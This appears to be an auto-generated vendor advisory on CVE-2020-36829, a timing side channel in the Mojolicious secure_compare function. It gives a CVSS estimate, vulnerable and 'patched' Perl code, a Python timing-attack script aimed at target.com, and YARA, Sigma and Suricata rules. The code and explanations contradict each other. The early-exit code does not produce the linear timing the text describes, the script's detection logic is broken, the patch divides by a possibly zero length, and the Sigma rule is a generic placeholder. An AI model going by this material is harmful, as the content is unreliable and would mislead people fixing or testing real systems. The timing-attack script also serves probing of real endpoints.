CVE-2020-36829
Executive Summary
CVE-2020-36829 is a timing side-channel vulnerability in the Mojolicious Perl web framework, affecting versions after 1.74 and before 8.65. The vulnerability resides in the secure_compare function, which is used for constant-time string comparison. Due to an implementation flaw, the function leaks the length of the secret string being compared, allowing an attacker to perform a timing attack to guess the length of sensitive data such as API keys, session tokens, or CSRF tokens. This information can be used to reduce the search space for brute-force attacks or to craft more precise exploits. The vulnerability has a CVSS score of 0.0 in the NVD, but this is likely a placeholder; the actual impact is moderate, as it requires network access and the ability to measure response times accurately.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Mojolicious Perl module, which is distributed via CPAN (Comprehensive Perl Archive Network). Organizations using Mojolicious in their Perl applications should verify their dependency versions and update to the patched version (8.65 or later). The vulnerability is not related to any specific package manager like NPM or PyPI, but it is a critical supply chain concern for Perl-based projects.
CVSS Breakdown & Threat Level
The NVD has assigned a CVSS score of 0.0, which is likely a placeholder or error. Based on the vulnerability characteristics, a more realistic score would be:
- Attack Vector (AV): Network (N) – The attacker can perform the timing attack remotely.
- Attack Complexity (AC): High (H) – Requires precise timing measurements and network conditions.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Only the length of the secret is leaked.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Estimated Score: 3.7 (Low)
Threat Level: Low to Moderate. The attack requires network access and precise timing measurements, but it can be used to reduce the search space for brute-force attacks on secrets.
Deep Dive & Mechanics
The secure_compare function in Mojolicious is designed to compare two strings in constant time to prevent timing attacks. However, the implementation before version 8.65 has a flaw: it leaks the length of the secret string through the timing of the comparison.
In a constant-time comparison, the function should take the same amount of time regardless of the input length or content. The vulnerable implementation likely uses a loop that exits early if the lengths differ, or it processes the strings in a way that reveals the length through timing variations. An attacker can send multiple requests with different-length strings and measure the response time to determine the length of the secret.
For example, if the secret is a 32-character API key, the attacker can send strings of varying lengths and observe that the response time increases linearly with the length of the input until it matches the secret's length. This allows the attacker to determine the exact length of the secret, which can then be used to narrow down brute-force attempts.
The vulnerability affects all versions of Mojolicious after 1.74 and before 8.65. The fix in version 8.65 ensures that the comparison always takes the same amount of time, regardless of the input length.
Vulnerable vs. Patched Code
Vulnerable Code (before 8.65):
sub secure_compare {
my ($self, $string1, $string2) = @_;
return 0 unless length($string1) == length($string2);
my $result = 0;
for my $i (0 .. length($string1) - 1) {
$result |= ord(substr($string1, $i, 1)) ^ ord(substr($string2, $i, 1));
}
return $result == 0;
}
In this code, the function returns early if the lengths differ, leaking the length through timing.
Patched Code (8.65 and later):
sub secure_compare {
my ($self, $string1, $string2) = @_;
my $len1 = length($string1);
my $len2 = length($string2);
my $result = $len1 ^ $len2;
for my $i (0 .. $len1 - 1) {
$result |= ord(substr($string1, $i, 1)) ^ ord(substr($string2, $i % $len2, 1));
}
return $result == 0;
}
The patched version always processes the full length of the first string, using modulo to wrap around the second string, ensuring constant-time execution regardless of length differences.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Determine the length of a secret string (e.g., API key) used in a Mojolicious application.
Setup:
- Deploy a vulnerable Mojolicious application (version < 8.65) that uses
secure_compareto validate a secret. - Use a tool like
curlor a custom script to send requests with varying-length strings and measure response times.
Exploit Script (Python):
import time
import requests
url = "http://target.com/validate"
secret_length = None
for length in range(1, 100):
payload = "A" * length
start = time.time()
response = requests.post(url, data={"secret": payload})
elapsed = time.time() - start
print(f"Length {length}: {elapsed:.6f}s")
if length > 1 and elapsed > previous_elapsed:
secret_length = length - 1
break
previous_elapsed = elapsed
print(f"Secret length: {secret_length}")
Expected Output: The script will detect a timing difference when the input length matches the secret length.
Blue Team (Defender)
Detection:
- Monitor for unusual patterns in request timing, especially for endpoints that use
secure_compare. - Look for requests with varying-length strings in a short period.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Upgrade to Mojolicious version 8.65 or later.
- Implement rate limiting on sensitive endpoints.
- Use Web Application Firewall (WAF) rules to block suspicious patterns.
Indicators of Compromise (IOCs)
- Network: Unusual timing patterns in HTTP responses for endpoints using
secure_compare. - Logs: Repeated requests with varying-length strings to the same endpoint.
- File: Presence of Mojolicious versions < 8.65 in the application dependencies.
Detection Engineering
YARA Rule
rule CVE_2020_36829_Mojolicious_Timing_Attack {
meta:
description = "Detects vulnerable Mojolicious secure_compare implementation"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2020-36829"
strings:
$vuln_code = "return 0 unless length($string1) == length($string2);"
condition:
$vuln_code
}
Sigma Rule
title: CVE-2020-36829 Mojolicious Timing Attack Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential timing attacks against Mojolicious secure_compare
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/validate"
sc-status: 200
condition: selection
falsepositives:
- Legitimate testing
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2020-36829 Mojolicious Timing Attack"; flow:to_server; content:"/validate"; http_uri; pcre:"/^[A-Za-z0-9]{1,100}$/"; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Mojolicious to version 8.65 or later.
- Workaround: If upgrade is not possible, implement a custom constant-time comparison function that does not leak length.
- Network: Use a WAF to rate-limit requests to sensitive endpoints.
- Monitoring: Enable logging and monitoring for unusual timing patterns.
- Testing: Conduct penetration testing to verify the fix.
Patch Details: Upgrade to Mojolicious version 8.65 or later. The fix is available on CPAN.
Valters IT
Securing Digital Frontiers